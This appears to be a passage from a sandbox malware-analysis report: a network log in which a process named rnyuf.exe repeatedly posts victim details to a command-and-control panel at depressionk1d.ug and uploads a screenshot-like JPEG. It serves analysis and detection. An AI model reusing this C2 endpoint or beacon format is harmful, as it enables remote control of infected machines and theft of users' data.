6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:52.797426939 CET	7731	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:52.797475100 CET	7736	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:52.802393913 CET	7740	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:52.820239067 CET	7756	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:52.820295095 CET	7772	OUT	Data Raw: d1 0a 29 c2 80 28 02 a0 d1 21 45 2e 38 a0 0a 5c 71 48 a1 cb 52 2d 30 0c 53 85 4b 2d 12 0a 95 7a 54 42 a4 02 b3 66 d1 24 a5 c7 14 d1 4e 15 0c b1 40 af 29 f8 a7 f7 ad 3d dd cf f2 af 57 1d 6b ca 3e 2a 63 cc b2 fa bf f4 ad 68 7c 44 55 e8 78 ae 68 cf Data Ascii: )(!E.8\qHR-0SK-zTBf$N@)=Wk>*ch\|DUxh+M@<Gy%jng#3u\ ua[Of.<^5dUWVGQS[vPo+43=4ohdy6\|\|MbzC\CW?9+
Nov 12, 2021 22:23:52.821037054 CET	7777	OUT	Data Raw: 23 55 39 3d c7 8e b4 f1 c1 a6 03 c5 2e 6a 6c 5a 64 81 b9 a7 a9 cd 43 de a4 5a 96 8d 22 c9 29 c3 a5 34 52 d4 b3 64 c9 01 c0 a7 83 51 03 4f 0c 2a 19 69 92 66 9c 2a 2d d4 a1 8d 4b 46 89 93 8a 5c d4 60 9a 77 6e 4e 2a 5a 34 4c 90 1c 53 81 15 01 92 25 Data Ascii: #U9=.jlZdCZ")4RdQOif-KF\`wnN*Z4LS%(iZEP~#{!Ht}+<v?io\_@BQo[uf% XkWEWkVK1iS<z%[W099 w'x`\|>svO<c8<?Q}[Ya
Nov 12, 2021 22:23:52.827069998 CET	7783	OUT	Data Raw: d4 a1 a8 e6 1f 21 29 6a 4d d5 16 ea 03 52 e6 1f 29 30 6a 5c d4 21 a9 db a9 dc 5c a4 a0 d3 b3 50 86 a5 0d 4e e4 f2 92 83 4b 9a 8c 1a 5c d3 15 87 e6 8c d3 01 a5 cd 02 b0 ea 50 69 99 cd 00 d0 16 24 a3 34 cc d1 9c 77 a7 71 58 92 97 35 16 f1 47 99 e9 Data Ascii: !)jMR)0j\!\PNK\Pi$4wqX5G@rf5.R}oM-OQ4fr44nN&`xb>:jwccTFj\bjbyl7sPmc@-T "msx-8Ya>AHMsGNT

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
162	192.168.2.4	49947	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:52.843247890 CET	7788	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:52.868051052 CET	7790	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:52 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
163	192.168.2.4	49948	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:53.004031897 CET	7791	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:53.029639006 CET	7792	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
164	192.168.2.4	49949	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:53.167527914 CET	7792	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:53.190277100 CET	7794	IN	HTTP/1.1 503 Service Temporarily Unavailable Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Content-Length: 1230 Connection: keep-alive Keep-Alive: timeout=5 ETag: "5a4b7cd2-4ce" Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 74 69 74 6c 65 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 20 2d 20 d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 77 69 6e 64 6f 77 73 2d 31 32 35 31 22 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 6c 69 6e 6b 20 72 65 6c 3d 22 73 68 6f 72 74 63 75 74 20 69 63 6f 6e 22 20 68 72 65 66 3d 22 2f 66 61 76 69 63 6f 6e 35 35 33 36 66 63 39 33 34 33 65 39 61 62 30 61 63 61 30 37 31 33 35 34 30 38 34 64 64 33 63 63 2e 69 63 6f 22 20 74 79 70 65 3d 22 69 6d 61 67 65 2f 78 2d 69 63 6f 6e 22 20 2f 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 3e 0a 3c 63 65 6e 74 65 72 3e 0a 3c 48 31 3e 35 30 33 20 53 65 72 76 69 63 65 20 54 65 6d 70 6f 72 61 72 69 6c 79 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 62 72 3e d1 eb f3 e6 e1 e0 20 e2 f0 e5 ec e5 ed ed ee 20 ed e5 e4 ee f1 f2 f3 ef ed e0 3c 2f 48 31 3e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a 3c 21 2d 2d 0a 20 20 20 2d 20 55 6e 66 6f 72 74 75 6e 61 74 65 6c 79 2c 20 4d 69 63 72 6f 73 6f 66 74 20 68 61 73 20 61 64 64 65 64 20 61 20 63 6c 65 76 65 72 20 6e 65 77 0a 20 20 20 2d 20 22 66 65 61 74 75 72 65 22 20 74 6f 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 2e 20 49 66 20 74 68 65 20 74 65 78 74 20 6f 66 0a 20 20 20 2d 20 61 6e 20 65 72 72 6f 72 27 73 20 6d 65 73 73 61 67 65 20 69 73 20 22 74 6f 6f 20 73 6d 61 6c 6c 22 2c 20 73 70 65 63 69 66 69 63 61 6c 6c 79 0a 20 20 20 2d 20 6c 65 73 73 20 74 68 61 6e 20 35 31 32 20 62 79 74 65 73 2c 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 72 65 74 75 72 6e 73 0a 20 20 20 2d 20 69 74 73 20 6f 77 6e 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 2e 20 59 6f 75 20 63 61 6e 20 74 75 72 6e 20 74 68 61 74 20 6f 66 66 2c 0a 20 20 20 2d 20 62 75 74 20 69 74 27 73 20 70 72 65 74 74 79 20 74 72 69 63 6b 79 20 74 6f 20 66 69 6e 64 20 73 77 69 74 63 68 20 63 61 6c 6c 65 64 0a 20 20 20 2d 20 22 73 6d 61 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 22 2e 20 54 68 61 74 20 6d 65 61 6e 73 2c 20 6f 66 20 63 6f 75 72 73 65 2c 0a 20 20 20 2d 20 74 68 61 74 20 73 68 6f 72 74 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 61 72 65 20 63 65 6e 73 6f 72 65 64 20 62 79 20 64 65 66 61 75 6c 74 2e 0a 20 20 20 2d 20 49 49 53 20 61 6c 77 61 79 73 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 6d 65 73 73 61 67 65 73 20 74 68 61 74 20 61 72 65 20 6c 6f 6e 67 0a 20 20 20 2d 20 65 6e 6f 75 67 68 20 74 6f 20 6d 61 6b 65 20 49 6e 74 65 72 6e 65 74 20 45 78 70 6c 6f 72 65 72 20 68 61 70 70 79 2e 20 54 68 65 0a 20 20 20 2d 20 77 6f 72 6b 61 72 6f 75 6e 64 20 69 73 20 70 72 65 74 74 79 20 73 69 6d 70 6c 65 3a 20 70 61 64 20 74 68 65 20 65 72 72 6f 72 0a 20 20 20 2d 20 6d 65 73 73 61 67 65 20 77 69 74 68 20 61 20 62 69 67 20 63 6f 6d 6d 65 6e 74 20 6c 69 6b 65 20 74 68 69 73 20 74 6f 20 70 75 73 68 20 69 74 0a 20 20 20 2d 20 6f 76 65 72 20 74 68 65 20 66 69 76 65 20 Data Ascii: <HTML><HEAD><title>503 Service Temporarily Unavailable - </title><meta http-equiv="Content-Type" content="text/html; charset=windows-1251"><link rel="icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /><link rel="shortcut icon" href="/favicon5536fc9343e9ab0aca071354084dd3cc.ico" type="image/x-icon" /></HEAD><BODY><center><H1>503 Service Temporarily Unavailable<br> </H1></BODY></HTML>... - Unfortunately, Microsoft has added a clever new - "feature" to Internet Explorer. If the text of - an error's message is "too small", specifically - less than 512 bytes, Internet Explorer returns - its own error message. You can turn that off, - but it's pretty tricky to find switch called - "smart error messages". That means, of course, - that short error messages are censored by default. - IIS always returns error messages that are long - enough to make Internet Explorer happy. The - workaround is pretty simple: pad the error - message with a big comment like this to push it - over the five
Nov 12, 2021 22:23:53.190293074 CET	7794	IN	Data Raw: 68 75 6e 64 72 65 64 20 61 6e 64 20 74 77 65 6c 76 65 20 62 79 74 65 73 20 6d 69 6e 69 6d 75 6d 2e 0a 20 20 20 2d 20 4f 66 20 63 6f 75 72 73 65 2c 20 74 68 61 74 27 73 20 65 78 61 63 74 6c 79 20 77 68 61 74 20 79 6f 75 27 72 65 20 72 65 61 64 69 Data Ascii: hundred and twelve bytes minimum. - Of course, that's exactly what you're reading - right now. -->
Nov 12, 2021 22:23:53.207425117 CET	7794	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----35cdb41c8aae8e685df6a1946f054310 Host: depressionk1d.ug Content-Length: 111710 Cache-Control: no-cache
Nov 12, 2021 22:23:53.207549095 CET	7794	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 33 35 63 64 62 34 31 63 38 61 61 65 38 65 36 38 35 64 66 36 61 31 39 34 36 66 30 35 34 33 31 30 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------35cdb41c8aae8e685df6a1946f054310Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:53.207808018 CET	7804	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:53.207988024 CET	7807	OUT	Data Raw: de fb bf f3 b8 b4 51 45 6c 64 14 51 4b 40 09 45 29 a4 a0 04 34 0a 5a 28 18 52 d2 52 d0 20 a4 a5 a3 19 a6 02 51 4b 8a 31 4a c0 25 14 b8 a4 a0 02 8a 28 a0 7a 85 14 51 40 82 8a 28 a0 02 8a 28 a0 02 8a 29 79 a0 03 9a 28 e6 8a 60 14 51 45 02 0a 28 14 Data Ascii: QEldQK@E)4Z(RR QK1J%(zQ@(()y(`QE(+g%DA5YJ>]j'#(i;;0nP{r8-T?>?ESb(b(OSNSN
Nov 12, 2021 22:23:53.230465889 CET	7812	OUT	Data Raw: 75 02 10 d2 52 e2 8a 60 25 14 b4 77 a4 02 51 4b 41 a6 00 68 a3 bd 14 00 da 9a d3 fe 3f 6d ff 00 eb aa ff 00 31 50 d4 b6 df f1 f7 07 fd 74 5f e7 59 55 f8 1f a1 d1 86 fe 3c 3d 57 e6 75 fb e8 df 55 f7 d1 be be 4f 94 fd 83 da 9d 49 d0 60 3e 1b 92 f5 Data Ascii: uR`%wQKAh?m1Pt_YU<=WuUOI`>oElnIYFg#qnu@[S4jsXN=%>~g{IL^5cX1ve,k?:(>p:IEjYNe\|::n}ko
Nov 12, 2021 22:23:53.230508089 CET	7818	OUT	Data Raw: d9 3c 73 51 f5 57 fc ff 00 82 2b eb 94 3f e7 cf fe 4c cf 78 f1 8f c5 3d 0f 54 f0 ed c5 95 96 f2 64 2a 58 bb 26 70 08 38 01 49 c9 c8 15 e0 55 61 ac ae d6 49 e3 6b 49 c3 db ae f9 94 c6 73 12 e4 0c b0 c7 03 24 72 7d 45 45 24 32 c4 23 32 c4 e8 25 4d Data Ascii: <sQW+?Lx=Td*X&p8IUaIkIs$r}EE$2#2%MR7Hghm1Xm9cWkHmRAE())i)QE9IK%(PII@CEV<U~CjX55I0 7oM/f:q$ v
Nov 12, 2021 22:23:53.230551004 CET	7823	OUT	Data Raw: 2e 0e 8d ff 00 5d ff 00 f6 53 5c ad 75 3f 0e 3f e4 a1 68 bf f5 df ff 00 65 35 35 7e 09 7a 15 4f e3 5e a7 d4 54 51 5e 6e fe 2b be 9f c4 f7 1a 35 be ad 28 bc fb 54 91 47 6e b0 27 00 31 c0 dc 53 1f 74 77 35 e7 61 f0 d5 31 0d a8 74 57 7e 87 a3 56 af Data Ascii: .]S\u??he55~zO^TQ^n+5(TGn'1Stw5a1tW~VWo\i$Hci%uHe,k$nr=5i`Io?z?Zp%NOfM,DIn4(>~0]-so6Osy&-jI9I1]B
Nov 12, 2021 22:23:53.230602026 CET	7834	OUT	Data Raw: c4 56 d6 31 c3 69 1e a1 13 3a af cb d1 d4 9c 0e e4 0e 49 f7 ac bf 18 3b 27 8d 35 27 46 2a cb 3e 43 03 82 0e 05 73 d6 df 18 fc 4d 66 25 16 d0 69 91 09 64 32 b8 4b 62 01 63 d4 fd ee f8 ac 0b ff 00 19 ea 7a 95 fc d7 97 11 db 79 d3 36 e7 2a 84 0c fe Data Ascii: V1i:I;'5'F>CsMf%id2Kbczy6usOEk~G.6EF=5B8Ge<W?{xR(SIo?o$?]>eCt1r;z]cxAagK{<5ZW!XHCny_JtW
Nov 12, 2021 22:23:53.253192902 CET	7839	OUT	Data Raw: 3d c4 cd 2b 9c 9c f2 cc 49 35 e2 9f 1c 58 36 b1 68 01 c9 58 50 1f 6e 64 3f d6 b8 bf f8 58 9e 27 ff 00 a0 a5 d7 fe 04 49 ff 00 c5 56 3e a5 ab de 6a f2 89 6e e5 2e dd c9 24 92 7d 49 24 93 57 4f 0d 59 d4 8b 92 b2 4e fb 84 b1 18 5a 54 aa 72 4d c9 c9 Data Ascii: =+I5X6hXPnd?X'IV>jn.$}I$WOYNZTrMY+[RQdx"RPoi}My19x%}b?9+,md-Yb\|#u<sAJ=-3Q3$~7Ft2dc#xGk?N
Nov 12, 2021 22:23:53.253264904 CET	7850	OUT	Data Raw: 2e 68 26 c4 a0 d3 83 54 20 d3 81 a6 2e 52 70 f4 e0 d5 5b 75 48 87 9a 64 38 96 54 d4 9b b3 55 c3 53 83 53 32 71 2c 06 a5 0d 50 ee e2 94 35 2b 10 e2 4f bb 8a 72 ca 47 43 55 cb 52 07 a5 ca 85 c8 5e 5b 97 1f c4 69 7e d2 dd f9 aa 61 e8 df 53 ec d0 b9 Data Ascii: .h&T .Rp[uHd8TUSS2q,P5+OrGCUR^[i~aSYwS?oSf\lcTCcNI#OTVfC)*fkR$OB~n-q\|GGU!t:!+M=&R{'CGZ7L?zS&J_
Nov 12, 2021 22:23:53.253295898 CET	7855	OUT	Data Raw: 53 85 30 62 8a 70 a6 8a 5a 09 16 94 53 69 c2 98 85 14 e1 48 28 34 12 6b 78 7c 67 57 8b e8 6a 1b cf f8 fe 9b fd f3 56 3c 3b ce af 1f d0 d4 17 bf f1 fd 37 fb e7 f9 d7 2a 7f bf 7e 86 93 fe 0a f5 2b d1 45 15 d0 72 8b 4b 48 29 68 10 b4 a3 b5 25 14 84 Data Ascii: S0bpZSiH(4kx\|gWjV<;7*~+ErKH)h%:A@E!Q(@,:xSiK<yX>5 xCLC\8OV}_z#N4-'XoVF1Vr7.)pi3K8)RAH(niHwjQH;SAhQ
Nov 12, 2021 22:23:53.304981947 CET	7907	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
165	192.168.2.4	49950	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:53.349231005 CET	7907	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:53.375021935 CET	7907	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
166	192.168.2.4	49951	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:53.511847973 CET	7908	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:53.537736893 CET	7909	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
167	192.168.2.4	49952	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:53.679697037 CET	7909	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
